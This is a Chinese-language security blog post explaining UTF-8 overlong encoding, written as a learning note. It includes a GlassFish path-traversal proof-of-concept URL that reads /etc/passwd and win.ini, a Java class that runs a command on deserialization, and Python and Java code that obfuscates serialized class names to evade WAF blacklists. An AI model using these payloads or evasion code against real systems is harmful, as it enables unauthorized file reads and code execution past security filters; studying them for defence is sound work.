Java序列化中由于编码转换而引发Overlong Encoding绕过waf

又学到了新东西

前言

在数据传输的过程中由于unicode占两个字节,为了减少网络传输的数据量需要转换成UTF接受后再转换为unicode。

这是Java很老的一个漏洞了,但是一直没有被修复。

要先了解一下我们计算机到底是怎样存储字符的,为啥有时候会出现乱码的情况,解决的时候好像要声明什么UTF-8,所以接下来就带着问题一探究竟。

ASCII、UNCIOD、UTF和URI

ASCII

计算机存的都是0、1二进制,咋表示英文字符呢?为了表示英文字符,人们定义了一个标准,这个标准说了,十进制的数字0~127,分别代表一个字符。举个例子,数字65代表英文大写字母A。这套标准,就是所谓的ASCII。注意,这套标准本质上就是定义了一个字符集合,通俗地讲就是用数字来表示字符。

有了这套标准之后,你只要告诉计算机这是ASCII编码,完了告诉它一个数字,它就知道代表什么字符了。

所以接下来问题就是,你要怎么告诉计算机这个数字了。很简单,不就一个128个数字嘛,一个字节有8个二进制位,如果存无符号的,能存256个数(0~255),存放ASCII完全够了。所以只要丢给计算机一个字节,这个字节代表了一个数字,计算机就能得知你要的字符。

UNICODE

ASCII只能表示英文和数字,有没有想过那么多中文怎么办?

因此需要一个更大的字符集合,没错,说的就是unicode了。

unicode又叫统一码、万国码,是一种字符编码标准,旨在涵盖全球范围内的所有字符。它为每个字符分配了唯一的数字编码,可以表示世界上几乎所有的写作系统中的字符,包括不同语言的字母、符号、标点符号和特殊字符。在unicode 15.0.0版本,收录了超过14万个字符。

我们通俗简单的理解就是,unicode的集合比ASCII大,这就够了。

因为大了,所以,告诉计算机这个编号数字的时候,就产生了新问题。

之前ASCII的编号,一个字节就能表示全部的ASCII字符了。现在有14万个字符,一个字节没法表示这么大的编号。那应该用多少个呢?有些字符编号大的,可能得多用几个字节,有的字符编号小的,比如ascii,一百多个编号一个字节就够了,如果统一用固定的字节表示,又很浪费空间,这就是问题所在了。

UTF

于是乎,为了解决这个问题,UTF(Unicode Transformation Format,Unicode转换格式)出现了。

UTF是一种将Unicode字符编码为字节序列的方式,说白了就是为了解决在unicode中,不同大小的编号,要用多少个字节存储的问题。它定义了不同的编码方案,如UTF-8、UTF-16和UTF-32,用于在计算机系统中存储和传输Unicode字符。

  • UTF-8:UTF-8是一种可变长度的编码方式,使用1到4个字节表示字符。它能够兼容ASCII编码,对于ASCII字符,使用1个字节表示,而非ASCII字符使用多个字节表示。

  • UTF-16:UTF-16使用16位(2个字节)或32位(4个字节)表示字符。对于Unicode字符,使用2个或4个字节表示。

  • UTF-32:UTF-32使用32位(4个字节)表示每个字符,无论是ASCII字符还是非ASCII字符。

至此,我们三个基本概念就复习完了。ASCII是一种字符集,Unicode是一种更大的字符集,而UTF是解决Unicode怎么存放和传输的问题。

UTF-8

UTF-8是现在最流行的编码方式,它可以将unicode码表里的所有字符,用某种计算方式转换成长度是1到4位字节的字符。

  • Unicode码点是为每个字符分配的唯一数字标识符,说白了就是数字编号。
  • 如果码点的范围是U+0000到U+007F(ASCII字符范围),则用一个字节表示,最高位为0。
  • 如果码点的范围是U+0080到U+07FF,则用两个字节表示,最高位以110开头。
  • 如果码点的范围是U+0800到U+FFFF,则用三个字节表示,最高位以1110开头。
  • 如果码点的范围是U+10000到U+10FFFF,则用四个字节表示,最高位以11110开头。

参考这个表格,我们就可以很轻松地将unicode码转换成UTF-8编码:

First code point Last code point Byte 1 Byte 2 Byte 3 Byte 4
U+0000 U+007F 0xxxxxxx
U+0080 U+07FF 110xxxxx 10xxxxxx
U+0800 U+FFFF 1110xxxx 10xxxxxx 10xxxxxx
U+10000 U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

对于字母A

unicode的码点是0x41。该码点的范围在U+0000到U+007F之间,在计算机中,用1个字节存放,二进制表示就是0100 0001,0100代表4,0001代表1。

对于中文你

unicode的码点是0x4f60,码点的范围在U+0800到U+FFFF之间,即在计算机中需要3个字节存储,那么这时候的算法如下:

  1. 将Unicode码点0x4F60转换为二进制数:01001111 01100000(共16位)。

  2. 根据UTF-8编码规则,根据码点的范围确定所需的字节数:由于0x4F60位于U+0800到U+FFFF范围内,所以需要使用3个字节。

  3. 构造UTF-8编码的二进制表示:

    • 第一个字节的最高位是1的个数等于使用的字节数,后面跟一个0,剩余位用码点二进制表示的高位补充。在这种情况下,第一个字节应为:1110xxxx,其中xxxx是码点二进制表示的高4位。将码点二进制的高位4位0100填入第一个字节的后4位:1110 0100。
    • 其余的字节的最高位都是10,后续字节用码点二进制表示的低位填充。在这种情况下,第二个字节应为:10xxxxxx,其中xxxxxx是码点二进制表示的中间6位。将码点二进制的中间6位111101填入第二个字节:1011 1101。
    • 第三个字节同理:10xxxxxx,将码点二进制的低位6位100000填入第三个字节:1000 0000。
  4. 将每个字节的二进制表示转换为十六进制表示:

    第一个字节:1110 0100 -> E4(十六进制)

    第二个字节:1011 1101 -> BC(十六进制)

    第三个字节:1000 0000 -> 80(十六进制)

  5. 因此,Unicode码点0x4F60经过UTF-8编码后的二进制为11100100 10111101 10000000,十六进制表示为E4BC80。

  6. 将11100100 10111101 10000000丢给计算机,并告诉它这是unicode的utf-8编码,它就会解析出’你’了

即你最后在计算机中,用二进制表示就是11100100 10111101 10000000,十六进制表示就是E4BC80

对于欧元符号€

unicode编码是U+20AC,按照如下方法将其转换成UTF-8编码:

首先,因为U+20AC位于U+0800和U+FFFF之间,所以按照上表可知其UTF-8编码长度是3

0x20AC的二进制是10 0000 1010 1100,将所有位数从左至右按照4、6、6分成三组,第一组长度不满4前面补0:0010,000010,101100

分别给这三组增加前缀1110、10和10,结果是11100010、10000010、10101100,对应的就是\xE2\x82\xAC

\xE2\x82\xAC即为欧元符号€的UTF-8编码

URI

URL

此外,这里还要提一下 URL编码(有时称为百分比编码),它是在 URI 中表示字符的公认方法。这是通过使用三个字符的序列对要解释的字符进行编码来实现的。该三元组序列由百分号字符“%”,后面加上表示原始字符的八位二进制的两个十六进制数字组成。例如,在ASCII中,表示空格的十六进制 0x20 ,其 URL 编码表示形式为 %20。很绕口,总之,只要记得在url中表示一些字符,需要url编码就是了。

GlassFish 任意文件读取漏洞

Overlong Encoding是什么问题?

那么,了解了UTF-8的编码过程,我们就可以很容易理解Overlong Encoding是什么问题了。

Overlong Encoding就是将1个字节的字符,按照UTF-8编码方式强行编码成2位以上UTF-8字符的方法。

仍然举例说明,比如点号.

在 UTF-8 编码中,该值可以用 4 种不同的方式表示:

1
2
3
4
5
6
7
2E (00101110)

C0 AE (11000000 10101110)

E0 80 AE (11100000 10000000 10101110)

F0 80 80 AE (11110000 10000000 10000000 10101110)

所以这似乎允许多种方式来表示每个 unicode 字符。但这在 unicode 标准中是不允许的

在 UTF-8 标准中,.唯一的编码方式是使用一个字节2E。如果用两个字节C0 AE应该报错,提示过长的表示。

在UTF-8编码中,ASCII字符使用单个字节表示。对于点号,它的Unicode码是U+002E,而在ASCII中,它也是0x2E。因此,在UTF-8中,点号的编码仍然是0x2E。即按照上表,它只能被编码成单字节的UTF-8字符,但我按照下面的方法进行转换:

0x2E的二进制是10 1110,我给其前面补5个0,变成00000101110

将其分成5位、6位两组:00000,101110

分别给这两组增加前缀110,10,结果是11000000,10101110,对应的是\xC0AE

0xC0AE并不是一个合法的UTF-8字符,但我们确实是按照UTF-8编码方式将其转换出来的,这就是UTF-8设计中的一个缺陷。

按照UTF-8的规范来说,我们应该使用字符可以对应的最小字节数来表示这个字符。那么对于点号来说,就应该是0x2e。但UTF-8编码转换的过程中,并没有限制往前补0,导致转换出了非法的UTF-8字符。如果开发不遵守标准,即对输入的 UTF-8 编码的字符或字符串的标准验证较差,就会导致对非法字节序列的解析。

这种攻击方式就叫“Overlong Encoding”。

fofa上搜索 "GlassFish" && port="4848",根据搜索出的结果,找到一个 GlassFish 版本为4.1.1的测试

POC

1
2
3
4
5
#linux服务器
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

#windows服务器
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

image-20240226222038546

Java反序列化绕WAF

例如有⼀段Base64编码后的序列化数据,那么要我做WAF,我会先将数据进⾏解码获取到byte流,校验是否有序列化的魔术字节,接下来,会进⾏⼀波序列化类的⿊名单 检测。 那么如何检测⿊名单呢,我们知道,对于writeObject后序列化的数据,类名是直接明⽂可读的,例如 有如下的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package Deserialization;

import java.io.*;

public class SerializationExample {
public static void main(String[] args) {
// 创建要序列化的对象
Evil myObject = new Evil();

// 将对象序列化为字节数组
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream)) {

objectOutputStream.writeObject(myObject);

// 将序列化数据输出到控制台
byte[] serializedData = byteArrayOutputStream.toByteArray();
System.out.println("Serialized Data: " + new String(serializedData));

// 反序列化对象
Evil deserializedObject = deserialize(serializedData);

System.out.println("对象成功序列化和反序列化。");
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}

// 反序列化方法
private static Evil deserialize(byte[] serializedData) throws IOException, ClassNotFoundException {
try (ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedData);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream)) {

return (Evil) objectInputStream.readObject();
}
}
}

class Evil implements Serializable {
private static final long serialVersionUID = 1L;

static {
try {
Runtime.getRuntime().exec("Calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

image-20240227002341207

序列化后的数据

1
���sr�Deserialization.Evil���������xp

所以说WAF的思路是检测可⻅字符中是否包含我的black list不就好了,绕过方式就是让序列化后的类名不能被直接看到。

Java在反序列化时使用ObjectInputStream类,这个类实现了DataInput接口,这个接口定义了读取字符串的方法readUTF。在解码中,Java实际实现的是一个魔改过的UTF-8编码,名为“Modified UTF-8”。

image-20240227104231778

readUTF()方法,按照文档的说明,它在解析2个字节的时候,并不会校验是否满足标准,即对于非法的.的表示11000000 **10**101110 (C0 AE),该方法只检测第一个字节是不是110xxxxx,第二个字节是不是10xxxxxx,都满足就转换为字符。

debug

观测readObject是何时拿取className

就找Test的那个reedObject,打一个断点,步入。

image-20240228092907646

步入

image-20240228093017861

步入

image-20240228093051869

步入

image-20240228093112779

看一下这个readUTFSpan方法

image-20240228093904015

根据 utflen ,去获取utf的className字符串的值,并添加到sbuf中返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
private long readUTFSpan(StringBuilder sbuf, long utflen)
throws IOException
{
int cpos = 0;
int start = pos;
int avail = Math.min(end - pos, CHAR_BUF_SIZE);
// stop short of last char unless all of utf bytes in buffer
int stop = pos + ((utflen > avail) ? avail - 2 : (int) utflen);
boolean outOfBounds = false;

try {
while (pos < stop) {
int b1, b2, b3;
b1 = buf[pos++] & 0xFF;
switch (b1 >> 4) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7: // 1 byte format: 0xxxxxxx
cbuf[cpos++] = (char) b1;
break;

case 12:
case 13: // 2 byte format: 110xxxxx 10xxxxxx
b2 = buf[pos++];
if ((b2 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x1F) << 6) |
((b2 & 0x3F) << 0));
break;

case 14: // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx
b3 = buf[pos + 1];
b2 = buf[pos + 0];
pos += 2;
if ((b2 & 0xC0) != 0x80 || (b3 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));
break;

default: // 10xx xxxx, 1111 xxxx
throw new UTFDataFormatException();
}
}
} catch (ArrayIndexOutOfBoundsException ex) {
outOfBounds = true;
} finally {
if (outOfBounds || (pos - start) > utflen) {
/*
* Fix for 4450867: if a malformed utf char causes the
* conversion loop to scan past the expected end of the utf
* string, only consume the expected number of utf bytes.
*/
pos = start + (int) utflen;
throw new UTFDataFormatException();
}
}

sbuf.append(cbuf, 0, cpos);
return pos - start;
}

调用过程

1
2
3
4
5
ObjectStreamClass#readNonProxy(ObjectInputStream in)
-> ObjectInputStream#readUTF()
-> BlockDataInputStream#readUTF()
-> ObjectInputStream#readUTFBody(long utflen)
-> ObjectInputStream#readUTFSpan(StringBuilder sbuf, long utflen)

转换脚本

python

直接拿来p神的脚本用来将一个ASCII字符串转换成Overlong Encoding的UTF-8编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def convert_int(i: int) -> bytes:
b1 = ((i >> 6) & 0b11111) | 0b11000000
b2 = (i & 0b111111) | 0b10000000
return bytes([b1, b2])


def convert_str(s: str) -> bytes:
bs = b''
for ch in s.encode():
bs += convert_int(ch)

return bs


if __name__ == '__main__':
print(convert_str('.')) # b'\xc0\xae'
print(convert_str('org.example.Evil')) # b'\xc1\xaf\xc1\xb2\xc1\xa7\xc0\xae\xc1\xa5\xc1\xb8\xc1\xa1\xc1\xad\xc1\xb0\xc1\xac\xc1\xa5\xc0\xae\xc1\x85\xc1\xb6\xc1\xa9\xc1\xac'

Java

实现了自定义编码用来混淆类名,将字符映射为整数对,字符映射是通过将字符映射到整数对来实现的。例如,字符 '.' 被映射为整数对 {0xc0, 0xae}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package Deserialization;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
public class CustomObjectOutputStream extends ObjectOutputStream {
private static HashMap<Character, int[]> map;
static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf});// 0x6f
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});
}
public CustomObjectOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeClassDescriptor(ObjectStreamClass desc) throws
IOException {
String name = desc.getName();
// writeUTF(desc.getName());
writeShort(name.length() * 2);
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
// System.out.println(s);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
writeLong(desc.getSerialVersionUID());
try {
byte flags = 0;
if ((boolean)getFieldValue(desc,"externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField =
ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (int) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if ((boolean)getFieldValue(desc,"serializable")){
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if ((boolean)getFieldValue(desc,"hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((boolean)getFieldValue(desc,"isEnum") ) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
ObjectStreamField[] fields = (ObjectStreamField[])
getFieldValue(desc,"fields");
writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
Method writeTypeString =
ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this,f.getTypeString());
// writeTypeString(f.getTypeString());
}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
}
public static Object getFieldValue(Object object, String fieldName) throws
NoSuchFieldException, IllegalAccessException {
Class<?> clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
Object value = field.get(object);
return value;
}
}

在序列化时使用这个自定义序列化逻辑即可

image-20240228095957476

看到序列化后的类名不可读

image-20240228100024673

后记

反序列化才刚刚开始学习,以后的链子多多留意这个姿势。还可以添加jvm代理来进行修改。

参考:

https://mp.weixin.qq.com/s/ytz2WsvPSADYHA520Me9-g

https://t.zsxq.com/17j7ws0F7

https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

应用服务器GlassFish 任意文件读取——漏洞复现_glassfish poc-CSDN博客

DataInput (Java Platform SE 7 ) (oracle.com)